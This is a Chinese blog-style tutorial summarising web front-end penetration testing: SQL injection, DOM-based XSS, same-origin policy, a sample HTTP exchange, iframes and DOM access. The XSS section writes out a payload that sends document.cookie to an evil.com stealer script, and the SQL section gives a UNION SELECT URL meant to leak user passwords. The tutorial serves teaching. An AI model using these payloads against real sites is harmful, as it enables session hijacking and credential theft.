1. 程式人生 > >Web前端滲透測試技術小結(一)

Web前端滲透測試技術小結(一)

一個 allow 註入 nec sub .get com 重要 utf-8

首先端正一下態度不可幹違法的事

1、SQL註入測試

對於存在SQL註入的網頁,使用SQL語句進行關聯查詢(仿照C/S模式)eg http://www.foo.com/user.php?id=1

常見的這樣的網址,這樣提交到服務器後返回的只能是ID=1的普通信息。做數據庫關聯查詢http://www.foo.com/user.php?id=1 union where id=1 union select password ,1,a from users這樣的SQL語句是合法的,如果拂去其端的應用存在SQL註入問題,他會認為這是合法的提交查詢,當這樣提交後user的password會發生泄漏。以及密碼賬戶上也可以進行測試。

2、XSS跨站腳本攻擊

這裏先解釋跨站腳本 eg <script>eval(location.hash.substr(1));</script>,這段代碼會保存到http://www.foo.com/info/html中,JavaScript內置的函數eval可以動態的調用JavaScript語句,location.hash獲取的是鏈接http://www.foo.com/info.html#callback中的#後面的內容,substr是字符創截取函數,location.hash.substr(1)表示截取#後面的內容給eval函數進行動態的執行。

現在來構造XSS鏈接腳本語句,http://www.foo.com/info.html#new%20Image().src="http://evil.com/steal.php?c="+escape(document.cookie)瀏覽器執行後腳本會變成eval(‘new Image().src="http://www/evil.com/steal.php?c="escape(document.cookie)‘)這樣就可以跨站獲取cookie信息,利用cookie可以登錄被攻擊者的賬號,進行越權操作。

3、同源策略

不同客戶端腳本在沒有授權的情況下不能讀寫對方的資源。

所謂同域就是指 同協議,桐域名,桐端口,通常說的兩個站點同域就是指他們同源。

客戶端腳本主要是指JavaScript和ActionScript(Flash腳本語言),以及兩者遵循的ECMAScript腳本標準,Flash提供了通信接口,兩個腳本之間可以互相的通信。這裏在說明一下Ajax是後臺異步傳輸數據的一種形式,不需要刷新網頁便可以修改後臺數據。

所謂授權就是目標站明確返回HTTP響應頭 Access-control-allow-origin: http://ww.evil.com那麽ajax技術對www.foo.com上的數據進行讀寫操作。

讀寫權限,web上資源針對不同用戶使用不同的權限,HTTP請求的referer只可讀,但是document.cookie具備讀寫。

資源,這裏只說跨護端的資源,包括HTTP消息頭,整個DOM樹,瀏覽器存儲cookie 、Flash Cookie、localStorage。

4、HTTP協議

在抓包分析中常看到HTTP協議鏈接會立即斷開或者延時斷開,每次請求都是再次建立。

GET http://www.foo.com/ HTTP/1.1

Host: www.foo.com
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like
Gecko) Chrome/18.0.1025.3 Safari/535.19
Referer: http://www.baidu.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1

響應如下:
HTTP/1.1 200 OK
Date: Sun, 04 Mar 2012 22:48:31 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/;
domain=.foo.com; HttpOnly
Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030
00:00:00 GMT; path=/; domain=.foo.com
X-Powered-By: PHP/5.2.6
Content-Length: 3635
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=gbk
<html>

4、iframe標簽是HTML中的一個重要的標簽,是web安全中出頻率最高,很多網站通過這個標簽嵌入第三方的內容,比如廣告頁面。

5、隱私獲取,通過JavaScript語句可以構造函數獲取相應的值,document.getElementById(‘private_msg‘).innerHTML這表示獲取標簽對象內HTML數據內容,也可以借用DOM接受標簽名做進一步查詢,document.getElementByTagNmae(‘div)[2].innerHTML;使用函數 getElementsByTagName接受的就是標簽名,返回一個數組。另外還可以通過這種 方法獲取cookie值,document.cookie

時到用時方恨少。。。。。。。。。

Web前端滲透測試技術小結(一)